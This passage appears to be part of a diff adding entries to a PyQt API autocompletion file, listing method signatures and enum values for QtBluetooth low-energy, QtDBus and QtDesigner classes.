+QtBluetooth.QLowEnergyDescriptorData.isValid?4() -> bool +QtBluetooth.QLowEnergyDescriptorData.setReadPermissions?4(bool, QBluetooth.AttAccessConstraints constraints=QBluetooth.AttAccessConstraints()) +QtBluetooth.QLowEnergyDescriptorData.isReadable?4() -> bool +QtBluetooth.QLowEnergyDescriptorData.readConstraints?4() -> QBluetooth.AttAccessConstraints +QtBluetooth.QLowEnergyDescriptorData.setWritePermissions?4(bool, QBluetooth.AttAccessConstraints constraints=QBluetooth.AttAccessConstraints()) +QtBluetooth.QLowEnergyDescriptorData.isWritable?4() -> bool +QtBluetooth.QLowEnergyDescriptorData.writeConstraints?4() -> QBluetooth.AttAccessConstraints +QtBluetooth.QLowEnergyDescriptorData.swap?4(QLowEnergyDescriptorData) +QtBluetooth.QLowEnergyService.WriteMode?10 +QtBluetooth.QLowEnergyService.WriteMode.WriteWithResponse?10 +QtBluetooth.QLowEnergyService.WriteMode.WriteWithoutResponse?10 +QtBluetooth.QLowEnergyService.WriteMode.WriteSigned?10 +QtBluetooth.QLowEnergyService.ServiceState?10 +QtBluetooth.QLowEnergyService.ServiceState.InvalidService?10 +QtBluetooth.QLowEnergyService.ServiceState.DiscoveryRequired?10 +QtBluetooth.QLowEnergyService.ServiceState.DiscoveringServices?10 +QtBluetooth.QLowEnergyService.ServiceState.ServiceDiscovered?10 +QtBluetooth.QLowEnergyService.ServiceState.LocalService?10 +QtBluetooth.QLowEnergyService.ServiceError?10 +QtBluetooth.QLowEnergyService.ServiceError.NoError?10 +QtBluetooth.QLowEnergyService.ServiceError.OperationError?10 +QtBluetooth.QLowEnergyService.ServiceError.CharacteristicWriteError?10 +QtBluetooth.QLowEnergyService.ServiceError.DescriptorWriteError?10 +QtBluetooth.QLowEnergyService.ServiceError.CharacteristicReadError?10 +QtBluetooth.QLowEnergyService.ServiceError.DescriptorReadError?10 +QtBluetooth.QLowEnergyService.ServiceError.UnknownError?10 +QtBluetooth.QLowEnergyService.ServiceType?10 +QtBluetooth.QLowEnergyService.ServiceType.PrimaryService?10 +QtBluetooth.QLowEnergyService.ServiceType.IncludedService?10 +QtBluetooth.QLowEnergyService.includedServices?4() -> unknown-type +QtBluetooth.QLowEnergyService.type?4() -> QLowEnergyService.ServiceTypes +QtBluetooth.QLowEnergyService.state?4() -> QLowEnergyService.ServiceState +QtBluetooth.QLowEnergyService.characteristic?4(QBluetoothUuid) -> QLowEnergyCharacteristic +QtBluetooth.QLowEnergyService.characteristics?4() -> unknown-type +QtBluetooth.QLowEnergyService.serviceUuid?4() -> QBluetoothUuid +QtBluetooth.QLowEnergyService.serviceName?4() -> QString +QtBluetooth.QLowEnergyService.discoverDetails?4() +QtBluetooth.QLowEnergyService.error?4() -> QLowEnergyService.ServiceError +QtBluetooth.QLowEnergyService.contains?4(QLowEnergyCharacteristic) -> bool +QtBluetooth.QLowEnergyService.contains?4(QLowEnergyDescriptor) -> bool +QtBluetooth.QLowEnergyService.writeCharacteristic?4(QLowEnergyCharacteristic, QByteArray, QLowEnergyService.WriteMode mode=QLowEnergyService.WriteWithResponse) +QtBluetooth.QLowEnergyService.writeDescriptor?4(QLowEnergyDescriptor, QByteArray) +QtBluetooth.QLowEnergyService.stateChanged?4(QLowEnergyService.ServiceState) +QtBluetooth.QLowEnergyService.characteristicChanged?4(QLowEnergyCharacteristic, QByteArray) +QtBluetooth.QLowEnergyService.characteristicWritten?4(QLowEnergyCharacteristic, QByteArray) +QtBluetooth.QLowEnergyService.descriptorWritten?4(QLowEnergyDescriptor, QByteArray) +QtBluetooth.QLowEnergyService.error?4(QLowEnergyService.ServiceError) +QtBluetooth.QLowEnergyService.readCharacteristic?4(QLowEnergyCharacteristic) +QtBluetooth.QLowEnergyService.readDescriptor?4(QLowEnergyDescriptor) +QtBluetooth.QLowEnergyService.characteristicRead?4(QLowEnergyCharacteristic, QByteArray) +QtBluetooth.QLowEnergyService.descriptorRead?4(QLowEnergyDescriptor, QByteArray) +QtBluetooth.QLowEnergyService.ServiceTypes?1() +QtBluetooth.QLowEnergyService.ServiceTypes.__init__?1(self) +QtBluetooth.QLowEnergyService.ServiceTypes?1(int) +QtBluetooth.QLowEnergyService.ServiceTypes.__init__?1(self, int) +QtBluetooth.QLowEnergyService.ServiceTypes?1(QLowEnergyService.ServiceTypes) +QtBluetooth.QLowEnergyService.ServiceTypes.__init__?1(self, QLowEnergyService.ServiceTypes) +QtBluetooth.QLowEnergyServiceData.ServiceType?10 +QtBluetooth.QLowEnergyServiceData.ServiceType.ServiceTypePrimary?10 +QtBluetooth.QLowEnergyServiceData.ServiceType.ServiceTypeSecondary?10 +QtBluetooth.QLowEnergyServiceData?1() +QtBluetooth.QLowEnergyServiceData.__init__?1(self) +QtBluetooth.QLowEnergyServiceData?1(QLowEnergyServiceData) +QtBluetooth.QLowEnergyServiceData.__init__?1(self, QLowEnergyServiceData) +QtBluetooth.QLowEnergyServiceData.type?4() -> QLowEnergyServiceData.ServiceType +QtBluetooth.QLowEnergyServiceData.setType?4(QLowEnergyServiceData.ServiceType) +QtBluetooth.QLowEnergyServiceData.uuid?4() -> QBluetoothUuid +QtBluetooth.QLowEnergyServiceData.setUuid?4(QBluetoothUuid) +QtBluetooth.QLowEnergyServiceData.includedServices?4() -> unknown-type +QtBluetooth.QLowEnergyServiceData.setIncludedServices?4(unknown-type) +QtBluetooth.QLowEnergyServiceData.addIncludedService?4(QLowEnergyService) +QtBluetooth.QLowEnergyServiceData.characteristics?4() -> unknown-type +QtBluetooth.QLowEnergyServiceData.setCharacteristics?4(unknown-type) +QtBluetooth.QLowEnergyServiceData.addCharacteristic?4(QLowEnergyCharacteristicData) +QtBluetooth.QLowEnergyServiceData.isValid?4() -> bool +QtBluetooth.QLowEnergyServiceData.swap?4(QLowEnergyServiceData) +QtDBus.QDBusAbstractAdaptor?1(QObject) +QtDBus.QDBusAbstractAdaptor.__init__?1(self, QObject) +QtDBus.QDBusAbstractAdaptor.setAutoRelaySignals?4(bool) +QtDBus.QDBusAbstractAdaptor.autoRelaySignals?4() -> bool +QtDBus.QDBusAbstractInterface?1(QString, QString, str, QDBusConnection, QObject) +QtDBus.QDBusAbstractInterface.__init__?1(self, QString, QString, str, QDBusConnection, QObject) +QtDBus.QDBusAbstractInterface.isValid?4() -> bool +QtDBus.QDBusAbstractInterface.connection?4() -> QDBusConnection +QtDBus.QDBusAbstractInterface.service?4() -> QString +QtDBus.QDBusAbstractInterface.path?4() -> QString +QtDBus.QDBusAbstractInterface.interface?4() -> QString +QtDBus.QDBusAbstractInterface.lastError?4() -> QDBusError +QtDBus.QDBusAbstractInterface.setTimeout?4(int) +QtDBus.QDBusAbstractInterface.timeout?4() -> int +QtDBus.QDBusAbstractInterface.call?4(QString, QVariant arg1=None, QVariant arg2=None, QVariant arg3=None, QVariant arg4=None, QVariant arg5=None, QVariant arg6=None, QVariant arg7=None, QVariant arg8=None) -> QDBusMessage +QtDBus.QDBusAbstractInterface.call?4(QDBus.CallMode, QString, QVariant arg1=None, QVariant arg2=None, QVariant arg3=None, QVariant arg4=None, QVariant arg5=None, QVariant arg6=None, QVariant arg7=None, QVariant arg8=None) -> QDBusMessage +QtDBus.QDBusAbstractInterface.callWithArgumentList?4(QDBus.CallMode, QString, unknown-type) -> QDBusMessage +QtDBus.QDBusAbstractInterface.callWithCallback?4(QString, unknown-type, object, object) -> bool +QtDBus.QDBusAbstractInterface.callWithCallback?4(QString, unknown-type, object) -> bool +QtDBus.QDBusAbstractInterface.asyncCall?4(QString, QVariant arg1=None, QVariant arg2=None, QVariant arg3=None, QVariant arg4=None, QVariant arg5=None, QVariant arg6=None, QVariant arg7=None, QVariant arg8=None) -> QDBusPendingCall +QtDBus.QDBusAbstractInterface.asyncCallWithArgumentList?4(QString, unknown-type) -> QDBusPendingCall +QtDBus.QDBusAbstractInterface.connectNotify?4(QMetaMethod) +QtDBus.QDBusAbstractInterface.disconnectNotify?4(QMetaMethod) +QtDBus.QDBusArgument?1() +QtDBus.QDBusArgument.__init__?1(self) +QtDBus.QDBusArgument?1(QDBusArgument) +QtDBus.QDBusArgument.__init__?1(self, QDBusArgument) +QtDBus.QDBusArgument?1(object, int id=QMetaType.Int) +QtDBus.QDBusArgument.__init__?1(self, object, int id=QMetaType.Int) +QtDBus.QDBusArgument.add?4(object, int id=QMetaType.Int) -> object +QtDBus.QDBusArgument.beginStructure?4() +QtDBus.QDBusArgument.endStructure?4() +QtDBus.QDBusArgument.beginArray?4(int) +QtDBus.QDBusArgument.endArray?4() +QtDBus.QDBusArgument.beginMap?4(int, int) +QtDBus.QDBusArgument.endMap?4() +QtDBus.QDBusArgument.beginMapEntry?4() +QtDBus.QDBusArgument.endMapEntry?4() +QtDBus.QDBusArgument.swap?4(QDBusArgument) +QtDBus.QDBus.CallMode?10 +QtDBus.QDBus.CallMode.NoBlock?10 +QtDBus.QDBus.CallMode.Block?10 +QtDBus.QDBus.CallMode.BlockWithGui?10 +QtDBus.QDBus.CallMode.AutoDetect?10 +QtDBus.QDBusConnection.ConnectionCapability?10 +QtDBus.QDBusConnection.ConnectionCapability.UnixFileDescriptorPassing?10 +QtDBus.QDBusConnection.UnregisterMode?10 +QtDBus.QDBusConnection.UnregisterMode.UnregisterNode?10 +QtDBus.QDBusConnection.UnregisterMode.UnregisterTree?10 +QtDBus.QDBusConnection.RegisterOption?10 +QtDBus.QDBusConnection.RegisterOption.ExportAdaptors?10 +QtDBus.QDBusConnection.RegisterOption.ExportScriptableSlots?10 +QtDBus.QDBusConnection.RegisterOption.ExportScriptableSignals?10 +QtDBus.QDBusConnection.RegisterOption.ExportScriptableProperties?10 +QtDBus.QDBusConnection.RegisterOption.ExportScriptableInvokables?10 +QtDBus.QDBusConnection.RegisterOption.ExportScriptableContents?10 +QtDBus.QDBusConnection.RegisterOption.ExportNonScriptableSlots?10 +QtDBus.QDBusConnection.RegisterOption.ExportNonScriptableSignals?10 +QtDBus.QDBusConnection.RegisterOption.ExportNonScriptableProperties?10 +QtDBus.QDBusConnection.RegisterOption.ExportNonScriptableInvokables?10 +QtDBus.QDBusConnection.RegisterOption.ExportNonScriptableContents?10 +QtDBus.QDBusConnection.RegisterOption.ExportAllSlots?10 +QtDBus.QDBusConnection.RegisterOption.ExportAllSignals?10 +QtDBus.QDBusConnection.RegisterOption.ExportAllProperties?10 +QtDBus.QDBusConnection.RegisterOption.ExportAllInvokables?10 +QtDBus.QDBusConnection.RegisterOption.ExportAllContents?10 +QtDBus.QDBusConnection.RegisterOption.ExportAllSignal?10 +QtDBus.QDBusConnection.RegisterOption.ExportChildObjects?10 +QtDBus.QDBusConnection.BusType?10 +QtDBus.QDBusConnection.BusType.SessionBus?10 +QtDBus.QDBusConnection.BusType.SystemBus?10 +QtDBus.QDBusConnection.BusType.ActivationBus?10 +QtDBus.QDBusConnection?1(QString) +QtDBus.QDBusConnection.__init__?1(self, QString) +QtDBus.QDBusConnection?1(QDBusConnection) +QtDBus.QDBusConnection.__init__?1(self, QDBusConnection) +QtDBus.QDBusConnection.isConnected?4() -> bool +QtDBus.QDBusConnection.baseService?4() -> QString +QtDBus.QDBusConnection.lastError?4() -> QDBusError +QtDBus.QDBusConnection.name?4() -> QString +QtDBus.QDBusConnection.connectionCapabilities?4() -> QDBusConnection.ConnectionCapabilities +QtDBus.QDBusConnection.send?4(QDBusMessage) -> bool +QtDBus.QDBusConnection.callWithCallback?4(QDBusMessage, object, object, int timeout=-1) -> bool +QtDBus.QDBusConnection.call?4(QDBusMessage, QDBus.CallMode mode=QDBus.Block, int timeout=-1) -> QDBusMessage +QtDBus.QDBusConnection.asyncCall?4(QDBusMessage, int timeout=-1) -> QDBusPendingCall +QtDBus.QDBusConnection.connect?4(QString, QString, QString, QString, object) -> bool +QtDBus.QDBusConnection.connect?4(QString, QString, QString, QString, QString, object) -> bool +QtDBus.QDBusConnection.connect?4(QString, QString, QString, QString, QStringList, QString, object) -> bool +QtDBus.QDBusConnection.disconnect?4(QString, QString, QString, QString, object) -> bool +QtDBus.QDBusConnection.disconnect?4(QString, QString, QString, QString, QString, object) -> bool +QtDBus.QDBusConnection.disconnect?4(QString, QString, QString, QString, QStringList, QString, object) -> bool +QtDBus.QDBusConnection.registerObject?4(QString, QObject, QDBusConnection.RegisterOptions options=QDBusConnection.ExportAdaptors) -> bool +QtDBus.QDBusConnection.registerObject?4(QString, QString, QObject, QDBusConnection.RegisterOptions options=QDBusConnection.ExportAdaptors) -> bool +QtDBus.QDBusConnection.unregisterObject?4(QString, QDBusConnection.UnregisterMode mode=QDBusConnection.UnregisterNode) +QtDBus.QDBusConnection.objectRegisteredAt?4(QString) -> QObject +QtDBus.QDBusConnection.registerService?4(QString) -> bool +QtDBus.QDBusConnection.unregisterService?4(QString) -> bool +QtDBus.QDBusConnection.interface?4() -> QDBusConnectionInterface +QtDBus.QDBusConnection.connectToBus?4(QDBusConnection.BusType, QString) -> QDBusConnection +QtDBus.QDBusConnection.connectToBus?4(QString, QString) -> QDBusConnection +QtDBus.QDBusConnection.connectToPeer?4(QString, QString) -> QDBusConnection +QtDBus.QDBusConnection.disconnectFromBus?4(QString) +QtDBus.QDBusConnection.disconnectFromPeer?4(QString) +QtDBus.QDBusConnection.localMachineId?4() -> QByteArray +QtDBus.QDBusConnection.sessionBus?4() -> QDBusConnection +QtDBus.QDBusConnection.systemBus?4() -> QDBusConnection +QtDBus.QDBusConnection.sender?4() -> QDBusConnection +QtDBus.QDBusConnection.swap?4(QDBusConnection) +QtDBus.QDBusConnection.RegisterOptions?1() +QtDBus.QDBusConnection.RegisterOptions.__init__?1(self) +QtDBus.QDBusConnection.RegisterOptions?1(int) +QtDBus.QDBusConnection.RegisterOptions.__init__?1(self, int) +QtDBus.QDBusConnection.RegisterOptions?1(QDBusConnection.RegisterOptions) +QtDBus.QDBusConnection.RegisterOptions.__init__?1(self, QDBusConnection.RegisterOptions) +QtDBus.QDBusConnection.ConnectionCapabilities?1() +QtDBus.QDBusConnection.ConnectionCapabilities.__init__?1(self) +QtDBus.QDBusConnection.ConnectionCapabilities?1(int) +QtDBus.QDBusConnection.ConnectionCapabilities.__init__?1(self, int) +QtDBus.QDBusConnection.ConnectionCapabilities?1(QDBusConnection.ConnectionCapabilities) +QtDBus.QDBusConnection.ConnectionCapabilities.__init__?1(self, QDBusConnection.ConnectionCapabilities) +QtDBus.QDBusConnectionInterface.RegisterServiceReply?10 +QtDBus.QDBusConnectionInterface.RegisterServiceReply.ServiceNotRegistered?10 +QtDBus.QDBusConnectionInterface.RegisterServiceReply.ServiceRegistered?10 +QtDBus.QDBusConnectionInterface.RegisterServiceReply.ServiceQueued?10 +QtDBus.QDBusConnectionInterface.ServiceReplacementOptions?10 +QtDBus.QDBusConnectionInterface.ServiceReplacementOptions.DontAllowReplacement?10 +QtDBus.QDBusConnectionInterface.ServiceReplacementOptions.AllowReplacement?10 +QtDBus.QDBusConnectionInterface.ServiceQueueOptions?10 +QtDBus.QDBusConnectionInterface.ServiceQueueOptions.DontQueueService?10 +QtDBus.QDBusConnectionInterface.ServiceQueueOptions.QueueService?10 +QtDBus.QDBusConnectionInterface.ServiceQueueOptions.ReplaceExistingService?10 +QtDBus.QDBusConnectionInterface.registeredServiceNames?4() -> unknown-type +QtDBus.QDBusConnectionInterface.activatableServiceNames?4() -> unknown-type +QtDBus.QDBusConnectionInterface.isServiceRegistered?4(QString) -> unknown-type +QtDBus.QDBusConnectionInterface.serviceOwner?4(QString) -> unknown-type +QtDBus.QDBusConnectionInterface.unregisterService?4(QString) -> unknown-type +QtDBus.QDBusConnectionInterface.registerService?4(QString, QDBusConnectionInterface.ServiceQueueOptions qoption=QDBusConnectionInterface.DontQueueService, QDBusConnectionInterface.ServiceReplacementOptions roption=QDBusConnectionInterface.DontAllowReplacement) -> unknown-type +QtDBus.QDBusConnectionInterface.servicePid?4(QString) -> unknown-type +QtDBus.QDBusConnectionInterface.serviceUid?4(QString) -> unknown-type +QtDBus.QDBusConnectionInterface.startService?4(QString) -> unknown-type +QtDBus.QDBusConnectionInterface.serviceRegistered?4(QString) +QtDBus.QDBusConnectionInterface.serviceUnregistered?4(QString) +QtDBus.QDBusConnectionInterface.serviceOwnerChanged?4(QString, QString, QString) +QtDBus.QDBusConnectionInterface.callWithCallbackFailed?4(QDBusError, QDBusMessage) +QtDBus.QDBusConnectionInterface.connectNotify?4(QMetaMethod) +QtDBus.QDBusConnectionInterface.disconnectNotify?4(QMetaMethod) +QtDBus.QDBusError.ErrorType?10 +QtDBus.QDBusError.ErrorType.NoError?10 +QtDBus.QDBusError.ErrorType.Other?10 +QtDBus.QDBusError.ErrorType.Failed?10 +QtDBus.QDBusError.ErrorType.NoMemory?10 +QtDBus.QDBusError.ErrorType.ServiceUnknown?10 +QtDBus.QDBusError.ErrorType.NoReply?10 +QtDBus.QDBusError.ErrorType.BadAddress?10 +QtDBus.QDBusError.ErrorType.NotSupported?10 +QtDBus.QDBusError.ErrorType.LimitsExceeded?10 +QtDBus.QDBusError.ErrorType.AccessDenied?10 +QtDBus.QDBusError.ErrorType.NoServer?10 +QtDBus.QDBusError.ErrorType.Timeout?10 +QtDBus.QDBusError.ErrorType.NoNetwork?10 +QtDBus.QDBusError.ErrorType.AddressInUse?10 +QtDBus.QDBusError.ErrorType.Disconnected?10 +QtDBus.QDBusError.ErrorType.InvalidArgs?10 +QtDBus.QDBusError.ErrorType.UnknownMethod?10 +QtDBus.QDBusError.ErrorType.TimedOut?10 +QtDBus.QDBusError.ErrorType.InvalidSignature?10 +QtDBus.QDBusError.ErrorType.UnknownInterface?10 +QtDBus.QDBusError.ErrorType.InternalError?10 +QtDBus.QDBusError.ErrorType.UnknownObject?10 +QtDBus.QDBusError.ErrorType.InvalidService?10 +QtDBus.QDBusError.ErrorType.InvalidObjectPath?10 +QtDBus.QDBusError.ErrorType.InvalidInterface?10 +QtDBus.QDBusError.ErrorType.InvalidMember?10 +QtDBus.QDBusError.ErrorType.UnknownProperty?10 +QtDBus.QDBusError.ErrorType.PropertyReadOnly?10 +QtDBus.QDBusError?1(QDBusError) +QtDBus.QDBusError.__init__?1(self, QDBusError) +QtDBus.QDBusError.type?4() -> QDBusError.ErrorType +QtDBus.QDBusError.name?4() -> QString +QtDBus.QDBusError.message?4() -> QString +QtDBus.QDBusError.isValid?4() -> bool +QtDBus.QDBusError.errorString?4(QDBusError.ErrorType) -> QString +QtDBus.QDBusError.swap?4(QDBusError) +QtDBus.QDBusObjectPath?1() +QtDBus.QDBusObjectPath.__init__?1(self) +QtDBus.QDBusObjectPath?1(QString) +QtDBus.QDBusObjectPath.__init__?1(self, QString) +QtDBus.QDBusObjectPath?1(QDBusObjectPath) +QtDBus.QDBusObjectPath.__init__?1(self, QDBusObjectPath) +QtDBus.QDBusObjectPath.path?4() -> QString +QtDBus.QDBusObjectPath.setPath?4(QString) +QtDBus.QDBusObjectPath.swap?4(QDBusObjectPath) +QtDBus.QDBusSignature?1() +QtDBus.QDBusSignature.__init__?1(self) +QtDBus.QDBusSignature?1(QString) +QtDBus.QDBusSignature.__init__?1(self, QString) +QtDBus.QDBusSignature?1(QDBusSignature) +QtDBus.QDBusSignature.__init__?1(self, QDBusSignature) +QtDBus.QDBusSignature.signature?4() -> QString +QtDBus.QDBusSignature.setSignature?4(QString) +QtDBus.QDBusSignature.swap?4(QDBusSignature) +QtDBus.QDBusVariant?1() +QtDBus.QDBusVariant.__init__?1(self) +QtDBus.QDBusVariant?1(QVariant) +QtDBus.QDBusVariant.__init__?1(self, QVariant) +QtDBus.QDBusVariant?1(QDBusVariant) +QtDBus.QDBusVariant.__init__?1(self, QDBusVariant) +QtDBus.QDBusVariant.variant?4() -> QVariant +QtDBus.QDBusVariant.setVariant?4(QVariant) +QtDBus.QDBusVariant.swap?4(QDBusVariant) +QtDBus.QDBusInterface?1(QString, QString, QString interface='', QDBusConnection connection=QDBusConnection.sessionBus(), QObject parent=None) +QtDBus.QDBusInterface.__init__?1(self, QString, QString, QString interface='', QDBusConnection connection=QDBusConnection.sessionBus(), QObject parent=None) +QtDBus.QDBusMessage.MessageType?10 +QtDBus.QDBusMessage.MessageType.InvalidMessage?10 +QtDBus.QDBusMessage.MessageType.MethodCallMessage?10 +QtDBus.QDBusMessage.MessageType.ReplyMessage?10 +QtDBus.QDBusMessage.MessageType.ErrorMessage?10 +QtDBus.QDBusMessage.MessageType.SignalMessage?10 +QtDBus.QDBusMessage?1() +QtDBus.QDBusMessage.__init__?1(self) +QtDBus.QDBusMessage?1(QDBusMessage) +QtDBus.QDBusMessage.__init__?1(self, QDBusMessage) +QtDBus.QDBusMessage.createSignal?4(QString, QString, QString) -> QDBusMessage +QtDBus.QDBusMessage.createMethodCall?4(QString, QString, QString, QString) -> QDBusMessage +QtDBus.QDBusMessage.createError?4(QString, QString) -> QDBusMessage +QtDBus.QDBusMessage.createError?4(QDBusError) -> QDBusMessage +QtDBus.QDBusMessage.createError?4(QDBusError.ErrorType, QString) -> QDBusMessage +QtDBus.QDBusMessage.createReply?4(unknown-type arguments=[]) -> QDBusMessage +QtDBus.QDBusMessage.createReply?4(QVariant) -> QDBusMessage +QtDBus.QDBusMessage.createErrorReply?4(QString, QString) -> QDBusMessage +QtDBus.QDBusMessage.createErrorReply?4(QDBusError) -> QDBusMessage +QtDBus.QDBusMessage.createErrorReply?4(QDBusError.ErrorType, QString) -> QDBusMessage +QtDBus.QDBusMessage.service?4() -> QString +QtDBus.QDBusMessage.path?4() -> QString +QtDBus.QDBusMessage.interface?4() -> QString +QtDBus.QDBusMessage.member?4() -> QString +QtDBus.QDBusMessage.errorName?4() -> QString +QtDBus.QDBusMessage.errorMessage?4() -> QString +QtDBus.QDBusMessage.type?4() -> QDBusMessage.MessageType +QtDBus.QDBusMessage.signature?4() -> QString +QtDBus.QDBusMessage.isReplyRequired?4() -> bool +QtDBus.QDBusMessage.setDelayedReply?4(bool) +QtDBus.QDBusMessage.isDelayedReply?4() -> bool +QtDBus.QDBusMessage.setAutoStartService?4(bool) +QtDBus.QDBusMessage.autoStartService?4() -> bool +QtDBus.QDBusMessage.setArguments?4(unknown-type) +QtDBus.QDBusMessage.arguments?4() -> unknown-type +QtDBus.QDBusMessage.swap?4(QDBusMessage) +QtDBus.QDBusMessage.createTargetedSignal?4(QString, QString, QString, QString) -> QDBusMessage +QtDBus.QDBusMessage.setInteractiveAuthorizationAllowed?4(bool) +QtDBus.QDBusMessage.isInteractiveAuthorizationAllowed?4() -> bool +QtDBus.QDBusPendingCall?1(QDBusPendingCall) +QtDBus.QDBusPendingCall.__init__?1(self, QDBusPendingCall) +QtDBus.QDBusPendingCall.fromError?4(QDBusError) -> QDBusPendingCall +QtDBus.QDBusPendingCall.fromCompletedCall?4(QDBusMessage) -> QDBusPendingCall +QtDBus.QDBusPendingCall.swap?4(QDBusPendingCall) +QtDBus.QDBusPendingCallWatcher?1(QDBusPendingCall, QObject parent=None) +QtDBus.QDBusPendingCallWatcher.__init__?1(self, QDBusPendingCall, QObject parent=None) +QtDBus.QDBusPendingCallWatcher.isFinished?4() -> bool +QtDBus.QDBusPendingCallWatcher.waitForFinished?4() +QtDBus.QDBusPendingCallWatcher.finished?4(QDBusPendingCallWatcher watcher=None) +QtDBus.QDBusServiceWatcher.WatchModeFlag?10 +QtDBus.QDBusServiceWatcher.WatchModeFlag.WatchForRegistration?10 +QtDBus.QDBusServiceWatcher.WatchModeFlag.WatchForUnregistration?10 +QtDBus.QDBusServiceWatcher.WatchModeFlag.WatchForOwnerChange?10 +QtDBus.QDBusServiceWatcher?1(QObject parent=None) +QtDBus.QDBusServiceWatcher.__init__?1(self, QObject parent=None) +QtDBus.QDBusServiceWatcher?1(QString, QDBusConnection, QDBusServiceWatcher.WatchMode watchMode=QDBusServiceWatcher.WatchForOwnerChange, QObject parent=None) +QtDBus.QDBusServiceWatcher.__init__?1(self, QString, QDBusConnection, QDBusServiceWatcher.WatchMode watchMode=QDBusServiceWatcher.WatchForOwnerChange, QObject parent=None) +QtDBus.QDBusServiceWatcher.watchedServices?4() -> QStringList +QtDBus.QDBusServiceWatcher.setWatchedServices?4(QStringList) +QtDBus.QDBusServiceWatcher.addWatchedService?4(QString) +QtDBus.QDBusServiceWatcher.removeWatchedService?4(QString) -> bool +QtDBus.QDBusServiceWatcher.watchMode?4() -> QDBusServiceWatcher.WatchMode +QtDBus.QDBusServiceWatcher.setWatchMode?4(QDBusServiceWatcher.WatchMode) +QtDBus.QDBusServiceWatcher.connection?4() -> QDBusConnection +QtDBus.QDBusServiceWatcher.setConnection?4(QDBusConnection) +QtDBus.QDBusServiceWatcher.serviceRegistered?4(QString) +QtDBus.QDBusServiceWatcher.serviceUnregistered?4(QString) +QtDBus.QDBusServiceWatcher.serviceOwnerChanged?4(QString, QString, QString) +QtDBus.QDBusServiceWatcher.WatchMode?1() +QtDBus.QDBusServiceWatcher.WatchMode.__init__?1(self) +QtDBus.QDBusServiceWatcher.WatchMode?1(int) +QtDBus.QDBusServiceWatcher.WatchMode.__init__?1(self, int) +QtDBus.QDBusServiceWatcher.WatchMode?1(QDBusServiceWatcher.WatchMode) +QtDBus.QDBusServiceWatcher.WatchMode.__init__?1(self, QDBusServiceWatcher.WatchMode) +QtDBus.QDBusUnixFileDescriptor?1() +QtDBus.QDBusUnixFileDescriptor.__init__?1(self) +QtDBus.QDBusUnixFileDescriptor?1(int) +QtDBus.QDBusUnixFileDescriptor.__init__?1(self, int) +QtDBus.QDBusUnixFileDescriptor?1(QDBusUnixFileDescriptor) +QtDBus.QDBusUnixFileDescriptor.__init__?1(self, QDBusUnixFileDescriptor) +QtDBus.QDBusUnixFileDescriptor.isValid?4() -> bool +QtDBus.QDBusUnixFileDescriptor.fileDescriptor?4() -> int +QtDBus.QDBusUnixFileDescriptor.setFileDescriptor?4(int) +QtDBus.QDBusUnixFileDescriptor.isSupported?4() -> bool +QtDBus.QDBusUnixFileDescriptor.swap?4(QDBusUnixFileDescriptor) +QtDBus.QDBusPendingReply?1() +QtDBus.QDBusPendingReply.__init__?1(self) +QtDBus.QDBusPendingReply?1(QDBusPendingReply) +QtDBus.QDBusPendingReply.__init__?1(self, QDBusPendingReply) +QtDBus.QDBusPendingReply?1(QDBusPendingCall) +QtDBus.QDBusPendingReply.__init__?1(self, QDBusPendingCall) +QtDBus.QDBusPendingReply?1(QDBusMessage) +QtDBus.QDBusPendingReply.__init__?1(self, QDBusMessage) +QtDBus.QDBusPendingReply.argumentAt?4(int) -> QVariant +QtDBus.QDBusPendingReply.error?4() -> QDBusError +QtDBus.QDBusPendingReply.isError?4() -> bool +QtDBus.QDBusPendingReply.isFinished?4() -> bool +QtDBus.QDBusPendingReply.isValid?4() -> bool +QtDBus.QDBusPendingReply.reply?4() -> QDBusMessage +QtDBus.QDBusPendingReply.waitForFinished?4() +QtDBus.QDBusPendingReply.value?4(object type=None) -> object +QtDBus.QDBusReply?1(QDBusMessage) +QtDBus.QDBusReply.__init__?1(self, QDBusMessage) +QtDBus.QDBusReply?1(QDBusPendingCall) +QtDBus.QDBusReply.__init__?1(self, QDBusPendingCall) +QtDBus.QDBusReply?1(QDBusError) +QtDBus.QDBusReply.__init__?1(self, QDBusError) +QtDBus.QDBusReply?1(QDBusReply) +QtDBus.QDBusReply.__init__?1(self, QDBusReply) +QtDBus.QDBusReply.error?4() -> QDBusError +QtDBus.QDBusReply.isValid?4() -> bool +QtDBus.QDBusReply.value?4(object type=None) -> object +QtDesigner.QDesignerActionEditorInterface?1(QWidget, Qt.WindowFlags flags=0) +QtDesigner.QDesignerActionEditorInterface.__init__?1(self, QWidget, Qt.WindowFlags flags=0) +QtDesigner.QDesignerActionEditorInterface.core?4() -> QDesignerFormEditorInterface +QtDesigner.QDesignerActionEditorInterface.manageAction?4(QAction) +QtDesigner.QDesignerActionEditorInterface.unmanageAction?4(QAction) +QtDesigner.QDesignerActionEditorInterface.setFormWindow?4(QDesignerFormWindowInterface) +QtDesigner.QAbstractFormBuilder?1() +QtDesigner.QAbstractFormBuilder.__init__?1(self) +QtDesigner.QAbstractFormBuilder.load?4(QIODevice, QWidget parent=None) -> QWidget +QtDesigner.QAbstractFormBuilder.save?4(QIODevice, QWidget) +QtDesigner.QAbstractFormBuilder.setWorkingDirectory?4(QDir) +QtDesigner.QAbstractFormBuilder.workingDirectory?4() -> QDir +QtDesigner.QAbstractFormBuilder.errorString?4() -> QString +QtDesigner.QDesignerFormEditorInterface?1(QObject parent=None) +QtDesigner.QDesignerFormEditorInterface.__init__?1(self, QObject parent=None) +QtDesigner.QDesignerFormEditorInterface.extensionManager?4() -> QExtensionManager +QtDesigner.QDesignerFormEditorInterface.topLevel?4() -> QWidget +QtDesigner.QDesignerFormEditorInterface.widgetBox?4() -> QDesignerWidgetBoxInterface +QtDesigner.QDesignerFormEditorInterface.propertyEditor?4() -> QDesignerPropertyEditorInterface +QtDesigner.QDesignerFormEditorInterface.objectInspector?4() -> QDesignerObjectInspectorInterface +QtDesigner.QDesignerFormEditorInterface.formWindowManager?4() -> QDesignerFormWindowManagerInterface +QtDesigner.QDesignerFormEditorInterface.actionEditor?4() -> QDesignerActionEditorInterface +QtDesigner.QDesignerFormEditorInterface.setWidgetBox?4(QDesignerWidgetBoxInterface) +QtDesigner.QDesignerFormEditorInterface.setPropertyEditor?4(QDesignerPropertyEditorInterface) +QtDesigner.QDesignerFormEditorInterface.setObjectInspector?4(QDesignerObjectInspectorInterface) +QtDesigner.QDesignerFormEditorInterface.setActionEditor?4(QDesignerActionEditorInterface) +QtDesigner.QDesignerFormWindowInterface.FeatureFlag?10 +QtDesigner.QDesignerFormWindowInterface.FeatureFlag.EditFeature?10 